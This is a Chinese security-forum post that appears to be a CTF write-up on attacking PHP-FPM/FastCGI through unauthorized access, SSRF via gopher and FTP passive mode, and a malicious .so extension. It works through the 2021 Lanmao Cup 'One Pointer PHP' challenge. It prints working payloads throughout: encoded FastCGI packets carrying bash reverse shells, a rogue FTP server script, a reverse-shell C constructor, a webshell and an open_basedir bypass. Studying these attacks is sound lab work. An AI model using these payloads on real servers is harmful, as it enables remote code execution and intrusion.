电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 3143 人浏览分享

通过一道CTF题学习php-fpm攻击

[复制链接]
3143 0
初识php-fpm

在我们早期的web服务器只处理html等静态文件 后来随着技术发展 出现了像php等动态语言 但是web
服务器并不能处理他 这个时候就需要一个叫做php解释器的东西来处理 但是php解释器如何与网络服务
器进行通信呢?随之出现了CGI协议 可以实现语言解释器与web服务器的通信 例如php-cgi,再后来就
发展出了CGI的改进版本Fast-cgi通讯协议。

而php-fpm全称为php-Fastcgi Process Manager 顾名思义他是Fast-cgi的实现 并提供了进程管理的功
能他负责按照Fast-cgi的协议将TCP流解析成php-fpm真实的数据,可以侦听9000端口 我们可以自己构
造Fast-cgi协议 并php-fpm进行通信。

php-fpm未授权访问突破

简单的来说 nginx会把我们的请求变成key-value键值对 然后我们通过设置auto_prepend_file
= php://input且allow_url_include = On 然后将我们需要执行的代码放在Body中 即可执行任
意代码 最后更改的环境变量大概如下。
  1. {
  2.     'GATEWAY_INTERFACE': 'FastCGI/1.0',
  3.     'REQUEST_METHOD': 'GET',
  4.     'SCRIPT_FILENAME': '/var/www/html/index.php',
  5.     'SCRIPT_NAME': '/index.php',
  6.     'QUERY_STRING': '?a=1&b=2',
  7.     'REQUEST_URI': '/index.php?a=1&b=2',
  8.     'DOCUMENT_ROOT': '/var/www/html',
  9.     'SERVER_SOFTWARE': 'php/fcgiclient',
  10.     'REMOTE_ADDR': '127.0.0.1',
  11.     'REMOTE_PORT': '12345',
  12.     'SERVER_ADDR': '127.0.0.1',
  13.     'SERVER_PORT': '80',
  14.     'SERVER_NAME': "localhost",
  15.     'SERVER_PROTOCOL': 'HTTP/1.1'
  16.     'PHP_VALUE': 'auto_prepend_file = php://input',
  17.     'PHP_ADMIN_VALUE': 'allow_url_include = On'
  18. }
复制代码

如果PHP-FPM是直接绑定在公网(0.0.0.0)上的 那么我们就可以伪装成Web服务器中间件来让
PHP-FPM执行我们想执行的恶意代码 这里phith0n大神写好了exp可以一键打。
  1. python fpm.py ip -p 9000 /var/www/html/index.php -c '<?php echo `id`;exit;?>'
复制代码

image-20210202142750469.png

可以观察到攻击之后auto_prepend_file和allow_url_include的值已经被修改了

99.png

ssrf中的FPM / FastCGI

上面说了如果php-fpm是是绑定在127.0.0.1就可以避免暴露在公网被攻击但是如果ssrf
存在存在的话 我们还是可以通过ssrf突破攻击内网的php-fpm。
以下是一个具有ssrf防御的代码
  1. <?php
  2. highlight_file(__FILE__);
  3. $url = $_GET['url'];
  4. $curl = curl_init($url);   
  5. curl_setopt($curl, CURLOPT_HEADER, 0);
  6. $responseText = curl_exec($curl);
  7. echo $responseText;
  8. curl_close($curl);?>
复制代码

然后用Gopherus生成payload
  1. python gopherus.py --exploit fastcgi
复制代码

然后填一个已知文件和需要执行的命令即可

image-20210503144205879.png

编码后给url传即可

image-20210503145046097.png

ftp攻击FPM / FastCGI

如果目标主机上正在运行着PHP-FPM并且有一个file_put_contents()函数的参数是可控的我们上面是
利用了gopher://协议,但是file_put_contents()函数并不支持他,这里可以使用的是ftp协议。
这里使用的是FTP协议的被动模式:客户端试图从FTP服务器上读取/写入一个文件 服务器会通知客户端将文件
的内容读取到一个指定的IP和端口上,我们可以指定到127.0.0.1:9000 这样就可以向目标PHP-FPM主机本地
的发送一个任意的数据包 从而执行代码 造成SSRF。

如果有以下代码
  1. <?php
  2. file_put_contents($_GET['file'], $_GET['data']);
复制代码

我们先用gopherus生成一个反弹shell的payload,截取_后面的部分

关于FTP的返回码 我们看到227
  1. Entering Passive Mode <h1,h2,h3,h4,p1,p2> 进入被动模式(h1,h2,h3,h4,p1,p2)
复制代码

我们可以用他来进入被动模式 h和p分别为地址和端口 建造一个恶意的ftp服务器
  1. import socket
  2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3. s.bind(('0.0.0.0', 123))
  4. s.listen(1)
  5. conn, addr = s.accept()
  6. conn.send(b'220 welcome\n')
  7. conn.send(b'331 Please specify the password.\n')
  8. conn.send(b'230 Login successful.\n')
  9. conn.send(b'200 Switching to Binary mode.\n')
  10. conn.send(b'550 Could not get the file size.\n')
  11. conn.send(b'150 ok\n')
  12. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
  13. conn.send(b'150 Permission denied.\n')
  14. conn.send(b'221 Goodbye.\n')
  15. conn.close()
复制代码

启动服务器之后再监听反弹的端口
  1. http://ip:8080/ftp.php?file=ftp://@ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00
  2. %00%00%00%01%04%00%01%01%0F%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B
  3. %09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH107%0E%
  4. 04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20
  5. %3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F!SCRIPT_FILENAME/usr/share/nginx/htm
  6. l/phpinfo.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%
  7. 00%01%05%00%01%00k%04%00%3C%3Fphp%20system(%27bash%20-c%20%22bash%20-i%20%3E%26
  8. %20/dev/tcp/ip/1234%200%3E%261%22%27)%3Bdie(%27-----Made-by-SpyD3r-----%0A%27)%3B%3F%
  9. 3E%00%00%00%00
复制代码

image-20210503161541620.png

加载so扩展

为什么要加载so扩展 如果disable_functions过滤了命令执行的函数 我们再用脚本fpm.py打

98.png

观察到虽然auto_prepend_file和allow_url_include的值已经被修改了 按理正常来说就是我们可以执
行任意代码但是这里无法bypass disable,所以需要加载一个so扩展来bypass。

蚁剑插件原理

蚁剑是有一个php-fpm绕过disable的插件

蚁剑的bypass插件他这里的话是通过/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html 起了一个
新的PHP Server -n就是不使用php.ini 从而实现了bypass disable_functions,然后在插件的源码可以看
到从133行起的exploit()函数里面 有一个生成扩展,上传扩展 然后最主要的部分是从197行开始构造请求
包攻击使用php-fpm加载扩展,关键代码如下。
  1. 197 var payload = `${FastCgiClient()};
  2. 198     $content="";
  3. 199     $client = new Client('${fpm_host}',${fpm_port});
  4.         ...
  5. 211     'PHP_VALUE' => 'extension=${p}',
  6. 212     'PHP_ADMIN_VALUE' => 'extension=${p}',
复制代码

那么总结下来的整个攻击流程就是:首先生成扩展,攻击php-fpm执行扩展 然后就会在目标机器本地开启一个新的
web服务器 通过antproxy.php转发到无disable的php server上 此时就成功达成了bypass disable_function。

这个项目ant_php_extension可以获取我们的so扩展 我们这里需要通过编译之后生成 命令为phpize && ./configure
&& make 这里phpize需要是绝对路径 然后我们可以修改php-fpm的php.ini文件 在最后一行加入extension=/va
r/www/html/ant.so 表示加载这个扩展 再重启php-fpm 写一个php文件测试一下。
  1. <?php
  2. antsystem("ls /");
复制代码

成功执行命令时即说明扩展成功加载 然后再把php.ini还原 尝试直接攻击php-fpm来修改其配
置项 脚本如下:https : //php.okawhio.repl.co/static/1.py

image-20210203121638183.png

CTF译文

我们看到[[2021蓝帽杯] one_Pointer_php](https://buuoj.cn/challenges#
蓝帽杯2021] One Pointer PHP)这道题
首先给了两个文件
  1. add_api.php
  2. <?php
  3. include "user.php";
  4. if($user=unserialize($_COOKIE["data"])){
  5. $count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
  6. if($count[]=1){
  7.   $user->count+=1;
  8.   setcookie("data",serialize($user));
  9. }else{
  10.   eval($_GET["backdoor"]);
  11. }
  12. }else{
  13. $user=new User;
  14. $user->count=1;
  15. setcookie("data",serialize($user));
  16. }?>
复制代码

user.php
  1. <?php
  2. class User{
  3. public $count;
  4. }?>
复制代码

首先第一个考点就是要进入else语句里面 利用的是PHP重复溢出绕过 我们给cookie传一个
  1. data=O:4:"User":1:{s:5:"count";i:9223372036854775806;}
复制代码

然后写一个木马进去
  1. /add_api.php?backdoor=file_put_contents("1.php","<?php%20eval(\$_POST[1])?>");
复制代码

看phpinfo之后发现大多数命令执行的函数都被禁了 但我们可以用chdir()与ini_set()读文件
  1. <?php
  2. mkdir('test');
  3. chdir('test');
  4. ini_set('open_basedir','..');
  5. chdir('..');chdir('..');chdir('..');chdir('..');
  6. ini_set('open_basedir','/');
  7. echo file_get_contents('/etc/passwd');?>
复制代码

读取/proc/self/cmdline发现当前进展是php-fpm 再读取/etc/nginx/sites-available/default

97.png

发现关键信息fastcgi_pass 127.0.0.1:9001 php-fpm绑定在了本地9001端口上

写一个so扩展
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. __attribute__ ((__constructor__)) void preload (void){
  5.     system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
  6. }
复制代码

然后编译一下
  1. gcc a.c -fPIC -shared -o a.so
复制代码

把扩展上传到服务器上 然后用下面的脚本生成一个payloadhttps://php.okawhio.repl.co/static/2.py
然后我们通过构造file_put_contents()与我们vps上恶意的ftp服务器建立连接。
  1. /add_api.php?backdoor=$file%20=%20$_GET['file'];$data%20=%20$_GET['data'];file_put_contents($file,$data);
  2. &file=ftp://@ip:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00
  3. %01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SC
  4. RIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQU
  5. ERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0
  6. CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system
  7. %0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0
  8. Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepen
  9. d_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REM
  10. OTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost
  11. %0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00
  12. %01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%
  13. 3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
复制代码

96.png

可以看到成功反弹了 然后
  1. find / -perm -u=s -type f 2>/dev/null
复制代码

查看具有suid的命令 php -a相互作用后直接读flag就行了

95.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.